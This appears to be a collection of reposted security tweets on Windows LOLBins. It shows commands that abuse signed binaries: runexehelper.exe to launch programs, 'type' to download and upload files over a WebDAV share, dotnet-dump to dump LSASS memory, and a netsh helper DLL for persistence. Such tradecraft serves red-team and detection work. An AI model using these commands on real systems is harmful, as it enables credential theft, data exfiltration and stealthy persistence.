😈 [ 0gtweet, Grzegorz Tworek ]

Definitely worth spreading and adding to your #LOLBIN lists.
Found it only because I have hit the same finding months later :P

Yet another MS-signed #lolbin to run your binaries with: "runexehelper.exe"

🐥 [ tweet ][ quote ]

😈 [ Mr_0rng, mr.0range ]

The Windows type command has download/upload functionality
1️⃣ Host a WebDAV server with anonymous r/w access
2️⃣ Download: type \\webdav-ip\folder\file.ext > C:\Path\file.ext
3️⃣ Upload: type C:\Path\file.ext > \\webdav-ip\folder\file.ext
#lolbin #redteam
(Bonus ADS 😆)

🐥 [ tweet ]

😈 [ bohops, bohops ]

#lolbin #lolbas
Yet another signed process dump tool [from .NET Diagnostic Tools] ->

dotnet-dump.exe collect -p <lsass pid>

🐥 [ tweet ]

есть прямые ссылки для скачивания ехе под х86 и х64: https://learn.microsoft.com/ru-ru/dotnet/core/diagnostics/dotnet-dump

thx to @Michaelzhm

😈 [ 0gtweet, Grzegorz Tworek ]

Netsh.exe relies on extensions taken from Registry, which means it may be used as a persistence.
And what, if you go one step further, extending netsh with a DLL allowing you to do whatever you want? Kinda #LOLBin 😎
Enjoy the C code and DLL, as usual: https://t.co/xfm1Mxaf4F

🔗 https://github.com/gtworek/PSBits/tree/master/NetShRun

🐥 [ tweet ]